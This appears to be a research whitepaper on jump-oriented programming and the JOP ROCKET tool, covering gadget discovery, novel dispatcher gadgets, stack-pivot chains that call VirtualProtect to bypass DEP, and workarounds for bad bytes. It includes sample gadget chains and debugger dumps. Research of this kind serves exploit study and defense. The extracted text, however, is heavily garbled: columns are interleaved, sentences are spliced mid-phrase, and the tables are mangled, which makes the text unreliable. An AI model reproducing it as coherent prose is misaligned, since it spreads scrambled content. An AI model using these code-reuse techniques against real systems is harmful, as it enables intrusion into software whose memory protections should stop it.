attacks, exploring the academic literature. two-gadget dispatcher coupled with our Next, we will introduce JOP ROCKET, stack pivot variation on JOP should enable discussing the tool, its contributions, JOP to be more feasible on many more and its general usage. Then we will applications. Finally, we will take a deep discuss ROCKET's automatic JOP chain dive into manual techniques for JOP. Many construction and the novel approach details on JOP usage in a modern Windows behind it. We will then present our novel environment had never before been dispatcher gadgets, including a twodocumented; some of these techniques we gadget dispatcher. Previously, JOP using have had to develop through trial and error the dispatcher paradigm was limited, owing and experimentation, taking a theoretical to scarcity of dispatcher gadgets. This approach and making it pragmatic, providing solutions to make JOP viable. variation is significant because it allows for vastly more possibilities. This novel

#### JUMP ORIENTED PROGRAMMING FUNDAMENTALS

JOP is a state-of-the-art form of code-reuse to be chained together. Two options are attacks. Categorizing JOP may be useful possible with this approach. as a human construct, but we emphasize First, a ret could be loaded into the register, these distinctions are arbitrary, as there and whenever EAX is called, e.g. jmp eax, can be intermixing of the different styles. call eax, it functions as a ROP gadget, The first method is the Bring Your Own causing a ret, using the stack in the normal Pop Jump (BYOPJ) [9], where a register can manner. be loaded with an address, which is then executed. T The other approach is the register could

he next method utilizes the dispatcher gadget, allowing the attacker to craft a dispatch table in memory and user a dispatcher to execute individual functional gadgets [10]. The third approach to JOP [2-4] is a real-world variation on BYOP, combining functional and dispatcher gadgets as a more labyrinthine chain, allowing for a greater variety of indirect jumps and calls.

#### Bring Your Own Pop Jump Paradigm

The BYOPJ paradigm [9] allows much flexibility, allowing one register to be loaded with the address of another gadget, e.g. pop eax; jmp eax, which can then be executed. Thus, this allows for gadgets

point to another JOP gadget, allowing them to be chained. In our example, rather than pointing to a ret, EAX might point to a JOP gadget, e.g. pop ebx; xor edx, edi; jmp ebx. EBX in turn could point to yet another, transitioning to another gadget. This approach could prove more labyrinthine, as the gadgets handle both control flow and more purposeful operations, e.g. setting up a WinAPI call. Neither of the BYOPJ approaches are favored by this research. although they are useful in extending the ROP attack surface. Dispatcher Gadget Paradigm The dispatcher gadget paradigm [10] is the approach this research favors. A dispatch table, containing addresses of functional

gadgets, is create anywhere in memory. Functional gadgets can be viewed as being similar to ROP gadgets, used to deal with mitigations or set up WinAPI calls. The dispatcher is a special gadget that orchestrates control flow. It can advance forwards or backwards in a predictable fashion; it then dereferences and executes functional gadgets. An exploit writer can place functional gadgets inside the dispatch table. After each functional gadget, the dispatcher is called again, advancing to the next functional gadget until the JOP chain is complete, as seen in the diagram.



Figure 1. Control flow in JOP is established via a dispatch table and dispatcher gadget, allowing for functional gadgets to be executed one after the other.

While some make the distinction between JOP and call-oriented programming (COP)[11], they actually are one in the same. The primary difference is indirect calls push the address of the next instruction onto the stack. This could interfere with WinAPI arguments being set up. However, this can be compensated for with a small stack pivot, such as a pop or add esp, 4, restoring the stack to what it was. Thus, by intermixing indirect jumps and calls, we can significantly enrich the JOP attack surface. To distinguish between them seems unnecessarily pedantic, not reflective of real-world usage.

Though not used for control flow, the stack still plays a critical role, as it holds arguments for WinAPI calls; it also may hold values for pop instructions. For exploit writers first encountering JOP, it should be emphasized the dispatch table is separate from and not intermixed with stack values; both form separate parts of the payload, and they may even be in separate parts of memory.

#### JOP ROCKET

The JOP ROCKET [6–8] is a mature tool dedicated to discovery and classification of JOP gadgets, with many features to aid an exploit author in being successful with JOP. Not only was there previously no documentation on practical details of doing JOP in a modern Windows environment, but there were no dedicated tools to discover JOP.

Tools such as such as Mona [12], ROPgadget [13], and Ropper [14] were dedicated to ROP, but provided only highly minimal, if any, placeholder support for JOP. Without a

dedicated tool, it would have been a monumental effort to find sufficient gadgets for an approach of pure JOP.

Firstly, the JOP gadget discovery algorithm is significantly more complex than its ROP counterpart. The algorithm to discover ROP gadgets is simple: find a C3 opcode for ret; disassemble backwards to discover all useful gadgets. This includes finding unintended instructions through what is known as opcode splitting.

Thus, from push 0xc354ba55, if we were to start execution in the middle of the instruction, we could produce the unintended instruction of push esp; ret, as shown in the figure. Such opcode splitting expands the attack surface significantly. With JOP, there are dozens of opcodes to search for.

Opcodes	Instructions	Opcodes	Instructions
68 55 ba 54 c3	push 0xc354ba55	54	push esp
		c3	ret

Figure 2. Opcode splitting is used with code-reuse attacks to find useful, unintended instructions.

The attack surface for JOP can be vastly expanded by enumerating these unintended instructions. Searching for ROP in a manual process could be very tedious, and one could do this in a debugger or disassembler. However, with JOP, because there are numerous opcodes to search for, this takes more time and effort.

Moreover, once gadgets were found, they would need to be separated by registers, as some are reserved for dispatch table and the dispatcher. The most important gadgets are dispatchers; finding these will dictate the choices of what is to come. With scores of impractical, repetitious gadgets, finding a dispatcher would be non-trivial. Thus, we were faced with a research problem of there being no dedicated tools supporting JOP gadget discovery and classification [5, 9, 10, 15, 16]. Without solving this and related problems, JOP would likely be impractical except for the most highly dedicated exploit authors.

ROP without a dedicated toolset would be laborious, yet the available tools tremendously simplify it, and what might otherwise be inaccessible, has long since become simple. In that same vein, JOP ROCKET provides a highly efficient solution to this research problem, taking what would require many man hours of labor and reducing it a task that could be completed in as little as a minute.

#### **Design of JOP ROCKET**

We use design science methodology [17] to create in an artifact that is an instantiation of all the many JOP methods that the tool encompasses; this artifact is JOP ROCKET itself. The result is an object-oriented, highly modular Python program, comprised of over 30,000 lines of code, with hundreds of data structures and numerous functions. ROCKET provides a suite of utilities related to JOP gadget discovery and classification, allowing users to

and it also automates JOP dereferenced WinAPI call already in place.

JOP ROCKET makes several contributions. First, it uses a refinement of the JOP gadget discovery algorithm to search for and discover all possible opcodes for indirect jumps and calls that could be used for JOP.

Second, while finding these gadgets, it simultaneously classifies gadgets into over a hundred categories, based on operation performed and registers affected; this also includes dispatcher gadgets, which we discuss in a separate section.

Finally, as we discuss in its own section, ROCKET supports automatic JOP chain construction, allowing for complete JOP chains to be built to bypass DEP.

#### JOP Gadget Discovery and Classification

With JOP, the process of gadget discovery is more nuanced, as the JOP ROCKET searches for 49 unique opcodes, including ones for indirect calls and

construct JOP manually, jumps, e.g. jmp eax, and ROCKET's algorithm to there are dereferenced, chain construction, utilizing indirect jumps and calls, a series of stack pivots to e.g. jmp dword ptr [eax], bounce from one location to as well as dereferenced, the next, and then making a indirect jumps to a register and an offset, e.g. jmp with the stack parameters dword ptr [eax+0x201]. It is the opcodes that must be searched for, rather than the Assembly mnemonics that might be intended instructions.

> Each of these 49 opcodes FF, an begins with commonly used opcode, allowing for unintended instructions to be found. ROCKET will first search for FF and if found it will search for the remaining opcodes found, before searching that correspond to specific for the next types of indirect jumps and Having gadgets classified calls; searching for one opcode and then those remaining allows for a very like the registered affects substantial performance enhancement, particularly with larger binaries.

> Once opcodes are found, JOP ROCKET will immediately find all possible gadgets that can be derived from it, by generating small chunks of disassembly, from 2 to 20 bytes, created by disassembling backwards. By iterating through each chunk, we ensure all unintended instructions are found. ROCKET will only save unique gadgets. [edi + esi], 34; ret; jmp ebx

discover JOP gadgets is a novel refinement of the original algorithm [10], ensuring all JOP gadgets are found. As the code is lengthy and complex, we refer the reader to the GitHub [8].

Once an indirect jump or call is found, ROCKET simultaneously performs classifications of the gadget into myriad categories, based on the operation used and the register affected, with over a hundred classifications possible. All gadgets are classified immediately after being opcode. into broad categories like mov and subcategories lets users easily retrieve specific gadgets sought. The algorithm saves each register at the address of the target operation.

While expanding the attack surface with unintended instructions is critical for any code-reuse attack tool, lead to some highly impractical gadgets. Thus, JOP ROCKET employs filtering to eliminate most impractical gadgets. For instance, mov dword ptr

would not be useful: it would be quietly discarded. Once gadgets are found and classified, they are simultaneously saved into hundreds of data structures. Only minimal bookkeeping data is saved with no actual opcodes or text preserved. This bookkeeping data allows for gadgets to be called upon and generated on the fly.

A user can select the types of gadgets they are interested, and output will be produced, according to their specifications, in seconds. For some functions, limited emulation is performed on gadgets, to discover stack pivot amounts.Once a user selects desired output on the print menu, their selections are used to generate the output on the fly, saved as text files. This is done by using the minimal bookkeeping data to carve out small chunks of opcodes, which are each sent to Capstone and disassembled, and this is used by JOP ROCKET to generate the gadgets.

The user has a lot of flexibility to select only operations of interest to them. For instance, perhaps they only want to see gadgets that mov a value into EDI: that specificity is allowed.

#### NOVEL VARIATION OF JOP USING MULTIPLE STACK PIVOTS

Previously it had seemed that to create a JOP chain through automation would be impossible, owing to JOP's much greater complexity with control flow, with dispatch table, dispatcher gadgets, functional gadgets, and the restrictive use of registers. The dispatch registers must be preserved to point to the dispatcher and dispatch table.

With ROP, the technique that Mona uses to set up a ROP chain is pushad, populating registers with parameter values for VirtualProtect and VirtualAlloc. After pushad, then the stack would be set up, and then a pointer to the WinAPI function could be dereferenced and jumped to, allowing DEP to be bypassed. In the case of VirtualProtect, memory could be changed to RWX, allowing for shellcode to be executed, and with VirtualAlloc, memory could be allocated with RWX permissions. Yet, with JOP there is no similar gadget like pushad to easily facilitate automation.

With JOP, it seemed that just a manual process of painstakingly pushing stack values or otherwise manually setting up each WinAPI parameter in the correct would be the only approach. However, an alternative method is to use a series of stack pivots. That is, we could simply push all the WinAPI arguments, return address, and function pointer onto the stack in the correct order as part of the ipayload. Then, a series of stack pivots could be used to reach these arguments.

While this approach is not always reliable, it can work if EIP is at a predictable distance from the desired stack values after the vulnerability is triggered. For instance, if the WinAPI arguments are found to be 0x3000 bytes from where ESP is located after the vulnerability is triggered, then a stack pivot could be sought that is at least 0x3000 bytes from it, using one or more stack pivots. We can precisely calculate the distance, and if this is not possible, we can come as close as we can and use JOP nops at the start of the dispatch table.

One requirement for the automated generation of a codereuse attack chain is following some preset recipe. With ROP, it is simple to use pushad as the cornerstone of the providing a certain predetermined order of WinAPI functions.

With Mona, there is much subtlety and nuance, providing a variety of ways to obtain The next gadget following the stack pivots the desired register values. With ROCKET, using a series of stack pivots to reach the to VirtualProtect into EAX. That is then WinAPI arguments is a simple approach achieved in a relatively small number of gadgets, whereas manually crafting each parameter value would take far more gadgets.

The approach to JOP with multiple stack X bytes from a particular part the binary at pivots is depicted in the figure. Two stack a specific point during the exploit. Placing pivots are used to add 0x700 to ESP, the dispatch table on the stack would be while another adds 0x500, and another, simplest, but the heap could work. 0x20. The total pivot is 0x1320. If the stack

recipe. Rules can govern how specific inputs values were 0x1315 bytes away, the pivots could be crafted to populate each register, would take us within 0xB bytes of that based on available gadgets. The focus is in location. With padding and pivots, it could be possible to precisely reach the payload, values that could be used as arguments to while JOP nops could also be used in the beginning of the dispatch table if not guite precise.

is pop eax, which is used to move a pointer dereferenced with a jmp dword ptr [eax], for automating JOP chain generation. This thereby beginning the call to Virtual Protect, method also allows for a JOP chain to be with all the needed arguments and the return address on the stack.

> The ideal setup for this is when the payload is within a fixed, predictable distance that can be determined programmatically, e.g.

$] \rightarrow$ Address	Gadget	*		
base + 0x15eb	add esp, 0x700 # push edx # jmp ebx		Address	dispatcher gadget
0x41414141	filler		EBX →	add esi, 0x8 # jmp dword ptr [6
base + 0x15eb	add esp, 0x700 # push edx # jmp ebx		0x00402334	
0x41414141	filler	//	Sample Value	Stack Parameter for VP
base + 0x17ba	add esp, 0x500 # push edi # jmp ebx		0x00426024	PTR -> VirtualProtect()
Dx41414141	filler		0x0042DEAD	Return Address
base + 0x14ef	add esp, 0x20 # add ecx, edi # jmp ebx		0x0042DEAD	lpAddress
Dx41414141	filler		0x000003e8	dwSize
base + 0x124d	pop eax # jmp ebx	/	0x00000040	flNewProtect -> RWX
0x41414141	filler		0x00420000	IpfIOIdProtect → writable
base + 0x1608	jmp dword ptr [eax]		0,00420000	location

Figure 3. Hypothetical JOP chain using a series of stack pivots to adjust esp to point to WinAPI function arguments.

#### Automatic JOP Chain Generation to Bypass DEP

JOP ROCKET performs analysis of available gadgets to determine how to create the JOP chain. First, it uses two ROP gadgets to set up JOP, and then a JOP gadget is initiates the chain.

Beyond this, the chain is pure JOP, free as many possible JOP chains as possible. It of rets. ROCKET then identifies pointers to WinAPI functions that can be used to help bypass DEP, such as VirtualAlloc and VirtualProtect. If these are not found, a place holder of OxdeadcOde is found. as it can be possible to extrapolate these gadget addresses. This and appropriate parameters are placed on the stack.

ROCKET identifies a dispatcher gadget, adding padding to the dispatch table between functional gadgets; the padding is calculated based on distance moved. If no dispatcher is found, this is left as a placeholder. ROCKET then finds the necessary stack pivots that falls within the specified, acceptable range.

Finally, JOP ROCKET will find a pop to load the WinAPI function address from the stack, then making a dereferenced jump to VirtualProtect or VirtualAlloc, to bypass DEP.

ROCKET maintains continuity between registers. Tofacilitate this, ROCKET identifies the dispatch registers, including the register being added to and dereferenced by the dispatcher, pointing to the dispatch table, and the register pointing to the dispatcher, which each functional gadget ends in. For purposes of simplicity, subsequent gadgets avoid usage of the dispatch registers, and all functional gadgets end in the same register.

The art of exploit development is an iterative process. Thus, for various obscure reasons, some exploits may not work. ROCKET helps with this process by creating does this from two standpoints.

First, it finds unique chains for functional gadgets that end in every register except ESP, regardless of dispatcher used, providing multiple possibilities. Second, ROCKET will create 5 different chains for each register, using different stack pivots.

Thus, if one proved to be problematic for some obscure reason, there would be other choices available. For some binaries, not all registers will support this stack pivot approach, as available stack pivot gadgets may be in conflict with dispatch registers.

ROCKET will populate different chains for VirtualProtect and VirtualAlloc, to achieve the target stack pivot range. The range minimum is the actual distance from how far ESP is when a vulnerability is triggered to where the dispatch table is located. The user may enter a minimum and maximum for the acceptable range, so that the stack pivot amount is appropriate to the exploit.

Although there is a default value, it is recommended to enter the true range. After all, if there is a large stack pivot gadget and no smaller gadgets for a register, then ROCKET might not display any results for that register, due to lack of smaller pivots. What is available with the attack surface is most visible with an accurate stack pivot range.



Figure 4. Python exploit script containing a JOP chain to bypass DEP with VirtualProtect, generated by JOP ROCKET.

With ROP, we intermix our ROP gadgets If so, dummy values can be supplied; and other values that might go on the those could later be overwritten. This stack, via pop, etc. With JOP, the stack would require manual techniques such as values generated by ROCKET, including the WinAPI arguments, the function pointer, and the return address, are separate from the dispatch table. Some stack values may need to be customized by the user.

need to be generated dynamically, such as a return address, which is outside the creating ROP and JOP functions, and it scope of what ROCKET does. It may not always be possible input the stack values values. ROCKET also provides other typical directly, due to bad byte limitations.

described elsewhere in this paper.

ROCKET produces a fully developed Python script. Still, there is a requirement for an initial vulnerability, which much be triggered. Logic for the vulnerability will It is also possible some parameters may need to be added to the Python script. ROCKET's JOP chain has two functions, also has a vp\_stack, consisting of the stack exploit essentials as placeholders.

#### Addresses with Bad Bytes Used for Stack Pivoting

Although ROCKET can generate a JOP chain that bypasses DEP, a manual approach may be preferred in some situations, such as when function pointers or gadget addresses contain bad bytes. To address this issue, techniques similar to those in the Gadget Addresses Containing Bad Bytes section can be used.

First, encoded values for the relevant stack pivot addresses can be loaded into registers. Afterwards, these encoded addresses can be modified via an instruction such as xor, neg, or add, to load the stack pivot address into the register. Afterwards, a simple jmp instruction can be used to execute the stack pivot containing bad bytes. Thus, we can call a gadget despite there being bad bytes in its address.

Address     Dispatcher Gadget       0x4213ff90     add ebx, 0x4; jmp dword ptr [ebx]       Value     Dispatch Table: Functional Gadgets       0x4213a870     neg eax; jmp esi; # Load 0x0013fc20 into eax	
Value Dispatch Table: Functional Gadgets	
0x4213a870 neg eax: imp esi: # Load 0x0013fc20 into eax	
0x4213b69a jmp eax; # Execute 1 <sup>st</sup> stack pivot gadget	
0x4213a2dd xor edx, edi ; jmp esi # Load 0x00131222 into	o edx
0x421389a0 jmp edx # Execute 2 <sup>nd</sup> stack pivot gadget	

Figure 5. An example of the stack pivoting approach while avoiding bad bytes in some gadgets.

The figure shown above displays an example of using two gadgets whose addresses contain bad bytes to perform a stack pivot. The address of the gadget add esp, 0x40 is loaded into EAX using a neg instruction to avoid bad bytes. Although the first stack pivot's address has not been supplied in the payload, it can still be executed via the use of jmp eax.

Once the first stack pivot completes, an xor edx, edi instruction is used to load the value 0x00131222 into EDX. Since this is the address of the second stack pivot, jmp edx allows the gadget to be executed. Now a total pivot of 0x6b bytes has been performed. If this were the desired pivot to the start of parameters, the WinAPI function could be called at this point to bypass DEP.

#### NOVEL DISPATCHERS AND THE TWO-GADGET DISPATCHER

The single most important JOP gadget is the dispatcher, as it orchestrates control flow for the exploit. The dispatcher predictably changes a value in a register, which is dereferenced; the dispatcher itself is pointed to by a register. The ideal form of the dispatcher is a very short gadget that only minimally modifies the dispatch table index, as long as it changes at least 4 bytes, the size of a gadget address.

An ideal dispatcher gadget is short and predictably changes the dispatcher by a small constant, e.g. add ebx, 0x6; jmp dword ptr [ebx] or sub edi, 0x8; jmp dword ptr [edi]. While



ideal, these forms of the dispatcher can scarcer, so others that are less desirable may be necessary. For instance, we could have add ebx, edi; jmp dword ptr [ebx]. This example requires three registers being preserved, which tend to be restrictive. Expanding the size of the dispatcher from 2 lines to a few may be necessary.

The danger in increasing the size of the dispatcher is in clobbering dispatch registers, ruining the chain. Alternatively, registers used by functional gadgets could have their usefulness reduced, e.g. add ebp, 0x08; add edx, 0x8; jmp dword ptr [ebp]. If EDX was added to with every invocation of the dispatcher, this would need to be accounted for.

Add Dispatcher Gadgets	Sub Dispatcher Gadgets	Lea Dispatcher Gadgets
add reg, [reg + const]; jmp dword ptr [reg];	sub reg, [reg + const]; jmp dword ptr [reg];	lea reg, [reg + const]; jmp dword ptr [reg];
add reg, constant; jmp dword ptr [reg];	sub reg, constant; jmp dword ptr [reg];	lea reg [reg + reg * const]; jmp dword ptr
add reg1, reg2; jmp dword ptr [reg1];	sub reg1, reg2; jmp dword ptr [reg1];	[reg];
adc reg, [reg + const]; jmp dword ptr [reg];	sbb reg, [reg + const]; jmp dword ptr [reg];	lea reg, [reg + reg]; jmp dword ptr [reg];
adc reg, constant; jmp dword ptr [reg];	sbb reg, constant; jmp dword ptr [reg];	
adc reg1, reg2; jmp dword ptr [reg1];	sbb reg1, reg2; jmp dword ptr [reg1];	

Figure 6. The ideal form of the dispatcher gadget is to predictably modify the dispatch table.

The figure shows an example of a dispatcher executing functional gadgets, with the dispatch table shown in Immunity's memory dump window. Functional gadget addresses are listed in the dispatch table and are separated by four bytes of padding.

When the dispatcher executes, it increments EDI by eight bytes and jumps to the next functional gadget found at that address. Each functional gadget ends in a jmp edx which is loaded with the address of the dispatcher gadget.

1122127D		83C7	08	ADD	EDI,8		11221289	. 03C2		ADD	EAX,EDX
11221280		FF27		JMP	DWORD PTR DS:[EDI]		1122128B	. 58		POP	EAX
11221282		83C3	20	ADD	EBX, 20		1122128C	• FFE2		JMP	EDX
11221285		03CB		ADD	ECX, EBX		1122128E	. 8BF7		MOV	ESI,EDI
11221287		FFD3			EBX		11221290	. 2BD8		SUB	EBX, EAX
EDI=0018	FD26	)				$\rightarrow$	EDX=11221	L27D (vul	nCrac	112212	7D)
			_				EAV-11221	267 (001)		112212	(7)
Address	Va]	lue	ASCI	Comment	t		Address	Value	ASCI:	Comment	t
0018FD20	112	221289	<b>8</b> €1"∢	RETURN	to vulnCrac.11221289		0018FD28	11221289	<b>%</b> ["∢	RETURN	to vulnCrac.1122128
0018FD24	444	44444	DDDD				0018FD2C	4444444	DDDD		
0018FD28	112	221289	) ‰1"∢	RETURN	to vulnCrac.11221289	/	0018FD30	112212B7	• <b>1</b> "◀	RETURN	to vulnCrac.112212
	_	0007	00		557. 4		11001007	10		THE	FCT
1122127D		83C7	80		EDI, <mark>8</mark>		112212B7				ESI
11221280		FF27			DWORD PTR DS:[EDI]		112212B8	. 33C8			ECX, EAX
11221282		83C3	20	ADD	EBX,20		112212BA				EBP, ECX
11221285		03CB		ADD	ECX,EBX		112212BC				EDX
11221287	•	FFD3		CAL	EBX	$\rightarrow$	112212BE	• 03DB		ADD	EBX,EBX
EDI=0018	FD28	3					ESI=11242	2E8C (vul	nCrac	.11242E	8C)
Address	Val	lue	ASCI	Commen	t		Address	Value	ASCI	Commen	t
0018FD28	11	221289	• %t"∢	RETURN	to vulnCrac.11221289		0018FD30	112212B7	•I"4	RETURN	to vulnCrac.1122128
0018FD2C	444	144444	1 DDDD				0018FD34	4444444	DDDD		
				RETURN	to vulnCrac.112212B7		0018FD38	112213FF	ÿ‼"∢	vulnCr	ac.112213FF
			· ·						<b>2</b>		

Figure 7. Diagram from an exploit showing the flow of execution from dispatcher gadget to functional gadget and back.

Finding suitable dispatcher gadgets previously was a significant hindrance to the exploit development process. After all, without a viable dispatcher gadget the mechanics of control flow will not work.

While the aforementioned gadgets are ideal, this research makes several novel contributions in the form of dispatcher gadgets. Firstly, we extend the single-gadget form of the dispatcher, introducing new instructions that can be used for this purpose.

Secondly, we introduce the two-gadget dispatcher, opening potentially vastly more possibilities for dispatchers. These are important contributions, allowing pure JOP to be possible where it otherwise might not be. The single gadget forms we introduce are lea, which is more similar to add and sub. The others are single opcode gadgets that predictably modify a register, advancing it forward by 4 or 8 bytes at a time.

This research makes a novel contribution with lea as a dispatcher. While lea instructions are plentiful, the required form of lea is not, as we need to load the register and some value into the same register, e.g. lea eax [eax + 0x28].

Other Dispatcher Gadgets	Dereferenced	Overwritten	Point to Memory	Change
lodsd; jmp dword ptr [esi];	ESI	[EAX]	ESI	4 bytes
cmpsd; jmp dword ptr [esi];	ESI	None	ESI, EDI	4 bytes
cmpsd; jmp dword ptr [edi]	EDI	None	ESI, EDI	4 bytes
movsd; jmp dword ptr [esi]	ESI	[EDI]	ESI, EDI	4 bytes

#### Figure 8. Other variant dispatcher gadgets.

We introduce the novel dispatcher lodsd/lodsg. This moves a single dword from [ESI] to EAX, and it adds 4 or 8 to ESI. Thus, after the each lodsg or lodsg, ESI would have been increased by 4 or 8, and then ESI would be dereferenced, directly, e.g. lodsd; jmp dword ptr[esi] or indirectly, e.g. lodsd; mov ebx, esi; jmp dword ptr [ebx]. One drawback is EAX would be overwritten each time, limiting usage of that register.

In a similar vein, we introduce novel dispatchers cmpsd and movsd. One limitation for cmpsd is it would be tied to memory addresses at ESI and EDI, limiting usage of those registers, as they would need to point at valid memory. With each cmpsd, the memory addresses pointed to by ESI and EDI would be incremented by 4 bytes, so ESI or EDI could be dereferenced.

As with lodsd, this could be done in a single gadget, e.g. cmpsd; jmp dword ptr [esi] or cmpsd; jmp dword ptr [edi], or across two gadgets, e.g. cmpsd; jmp ebx followed by jmp dword ptr [esi] or jmp dword ptr [edi].

With cmpsd, it would be logical to have either ESI or EDI dereference the dispatch table, while the other could point to either of the gadgets that comprise the two-gadget

dispatcher, if in use. This would guarantee each register points to valid memory and ensure neither register is wasted. Movsd also increments by 4 bytes, while using both ESI and EDI to point to memory.

With movsd, the contents of ESI are moved to EDI, so only ESI could point to the dispatch table. With each invocation of the dispatcher, [EDI] would be overwritten, though it could be used in functional gadgets with some planning.

Register	Address	Dispatcher Dereference Gadget			
ebp	deadc0de	jmp dword ptr [edx]			
		Dispatch Table			Dispatcher In
Address	Value	Gadget	Register	Address	Gadget
F9ED2340	0ab01234	xor edx, ebx; jmp edi	edi	0ab0dabb	add edx, 0x8;
F9ED2344	41414141	Padding			
F9ED2348	0ab0badd	push ebx; jmp edi			
F9ED234C	41414141	Padding			
F9ED2350	0ab0dadd	push ecx; jmp edi			

Figure 9. Two-gadget dispatcher, utilizing a jmp in the dispatcher index gadget.

This research has also made an important contribution by presenting a new two-gadget dispatcher, making the requirements for finding a dispatcher less restrictive. Rather than being reliant upon just one gadget, we expand possibilities with two gadgets chained together. The first gadget can modify any register, regardless of what is subsequently dereferenced, e.g. add edi, 0x20; jmp ebp. The second gadget performs the dereferencing in just one line, e.g. jmp dword ptr [ebx].

ROCKET provides functionality to discover what we call empty jump dereferences; we use the term empty because this form of the gadget may exist as only one line, as an unintentional gadget. If expanded to two lines, it would transform into something else. By searching for empty jump dereferences, ROCKET nearly always finds a jump dereference for all registers, even when none are naturally occurring.

Thus, for all intents and purposes, the only requirement for this two-gadget dispatcher is that the conditions of the first gadget be satisfied. The two-gadget dispatcher adds the burden of preserving an additional third dispatch register. A larger binary with a rich attack surface would prove more conducive to a two-gadget dispatcher.

The two-gadget dispatcher makes it possible to use call gadgets for dispatching. The first gadget of the pair may end in a call, e.g. add ebx, 0x28; call esi. Because a call instruction adds the address of the next instruction to the stack, cleaning up ESP is necessary. Gadgets like add esp, 0x4; jmp dword ptr [ebx] or pop reg; jmp dword ptr [ebx] would be effective.

Register	Address	Dispatcher Dereference Gadget
ebp	deadc0de	pop ebx; jmp [edx] # pop compensates the call.
		Dispatch Table
Address	Value	Functional Gadget
F9ED2340	0ab01234	xor edx, ebx; jmp edi
F9ED2344	41414141	Padding
F9ED2348	0ab0badd	add ecx, 0x45; jmp edi
F9ED234C	41414141	Padding
F9ED2350	0ab2ba34	push ecx; jmp edi

Figure 10. Two-gadget dispatcher, utilizing call in the dispatcher index gadget and a compensatory pop in the dispatcher dereference gadget.

While usage of call can be compensated for, it comes at a cost, as now the register used in the pop will always be overwritten with each invocation of the dispatcher. The register still could be used within functional gadgets, but its value would not persist.

112212A6	. B9 00	A25205	MOV	ECX,5	52A200	
112212AB	. BD 40	402040	MOV	EBP,4	9204040	
112212B0	. FFE2		JMP	EDX		
112212B2	• 83C3	22	ADD	EBX <sub>3</sub> 2	2	
112212B5	. FFD3		CALL	EBX		
ECX=0018	F64					
Address	Value	ASCI: C	omment	:		
0018FD18	112212A6	¦‡"∢ v	ulnCra	ic.1122	212A6	
0018FD1C	4444444	DDDD				
0018FD20	11221289	‰1" <b>∢ R</b>	ETURN	to vul	InCrac.1	221289
1122148C	. 58		POP	EAX		
1122148D	• FF27		JMP	DWORD	PTR DS:	[EDI]
1122148F	. 5F		POP	EDI		
11221490	. 5E		POP	ESI		
11221491	. 5B		POP	EBX		
Stack [0	018FC6C]=	1122148	C (yu)	nCrac	1122148	r)
FAX 4422		4	400444		1122140	- /
Address	Value	ASCI: C	omment	t –		
			_			
0018FD20	11221289	‰î"∢ R	ETURN	to vu	InCrac.1	1221289
	11221289 44444444		ETURN	to vu	InCrac.1	1221289

Figure 11. Diagram showing the steps taken to get from one functional gadget to the next when using a two-gadget dispatcher. Pop is used to reduce side effects from the first dispatcher's call instruction.

A similar dispatcher can be seen in the example above, showing an actual exploit using a two-gadget dispatcher. Each functional gadget still returns execution to the first dispatcher gadget, as usual. In this case, the EDX register is used to store the address of the first dispatcher.

Afterwards, this dispatcher gadget increments the value of EDI, the dispatch table register, and performs a call esi instruction. The call instruction pushes EIP onto the stack. ESI contains the address of the second dispatcher gadget, which performs a pop eax to restore the previous value of ESP. Finally, the next functional gadget is executed via jmp dword ptr [edi].





The lodsd or lodgd instructions present an interesting use case for two-gadget dispatchers. Typically, there are intervening lines between lodsd and the control transfer, making many lodsd gadgets unusable. Lodsd also requires that ESI point to accessible memory; this must be the dispatch table. EAX is overwritten with lodsd, meaning if EAX was used in functional gadgets, it would not persist. Similar to lodsd, cmpsd and movsd present useful opportunities for the two-gadget dispatcher.

Register	Address	Dispatcher Dereference Gadget			
ebp	deadc0de	jmp [esi]			
		Dispatch Table			Dispatcher Index Gao
Address	Value	Functional Gadget	Register	Address	Gadget
F9ED2340	0ab01234	xor edx, ebx; jmp edi	edi	0ab0dabb	lodsd; jmp ebp
F9ED2348	0ab0badd	push ebx; jmp edi			
F9ED2350	0ab2baee	push ecx; jmp edi			
F9ED2358	0ab0da44	push eax; jmp edi			

Figure 12. Lodsd is a very practical instruction for a two gadget-dispatcher.

It is also possible to transition from one dispatcher to another, if the attack surface is sufficiently limited to justify doing so. To do this, one need load the register holding the dispatcher with the address of the new dispatcher. The dispatch table would need to reflect changes in padding. By doing this, we could use of functional gadgets that would have side effects that would make them otherwise unusable.

#### MANUAL TECHNIQUES FOR JOP

of a JOP chain to bypass DEP, there may such, the focus is not in trying to distinguish be times when an exploit author prefers to what may be our original contribution, use manual techniques to create the JOP. refinement, or extension, but simply just While JOP was first written about in the to share the wealth of knowledge we have academic literature a decade ago, it was developed. very much theoretical, with many practical details of usage absent.

To create complete JOP chains, it has been necessary to explore and innovate some of these techniques. Some of what follows are new techniques we have developed specifically for JOP, while others are variations on what has been done already with ROP.

Our goal is to provide useful techniques, so that if an exploit writer wishes to use

While JOP ROCKET automates construction JOP, there is available documentation. As

#### Completing the Initial JOP Setup

After gaining control of execution via a vulnerability like a buffer overflow or SEH overwrite, the first step towards building a JOP exploit is establishing control flow, so that the dispatch table and dispatcher can be reached. With JOP, all registers reserved for addresses to dispatcher gadgets or the dispatch table need to be loaded with addresses first. The registers that are reserved depends on which dispatcher individual tasks can be given to specific gadget is being used and the available ROP gadgets, e.g. pop reg, rather than set of functional gadgets. A traditional needing one gadget to perform them all. dispatcher requires that two registers be Once the control flow registers are set up, reserved, and a two-gadget dispatcher a gadget such as jmp edx can be used to necessitates that a third register be set return execution to the dispatcher gadget. aside.

While the dispatcher gadget requires a register be reserved for the dispatch table. the register set aside for the dispatcher gadget can be chosen freely based on available functional gadgets.

For example, with the dispatcher gadget The process of writing function parameters sub esi, 0x8; jmp dword ptr [esi], the dispatch table register must be ESI; however, the dispatcher gadget register could be chosen based on availability of functional gadgets. If many useful gadgets end in jmp eax, for example, it may be wise to select EAX for this purpose.

If it is desirable to create an exploit that exclusively uses JOP and no other codereuse techniques, it could be possible to use a singular JOP gadget. However, this is far from ideal in practice, given scarcity of such gadgets.

Since the JOP control flow will not be in effect until each necessary register contains the appropriate value, this technique is limited to the use of one JOP setup gadget. This existence of this gadget is far from guaranteed, as it will need to satisfy several specific conditions, though popad could be useful. It will need to load values for needed registers and may need to avoid bad bytes.

Because of these limitations, it is recommended to use a short ROP chain to set up control flow registers. ROP gadgets are more plentiful than JOP gadgets, and

#### **Using WinAPI Functions**

As with ROP, a function call that bypasses DEP can be done via JOP. The specific gadgets and techniques used to perform the call via JOP will look different due to its s unique control flow and available gadgets. to memory when using JOP is quite unlike the typical ROP workflow.

In many ROP exploits, many registers will be simultaneously loaded with function parameter values, and the pushad instruction will be used in order to write them all to memory. The need for JOP to reserve two or more dispatch registers often eliminates the possibility of pushad.

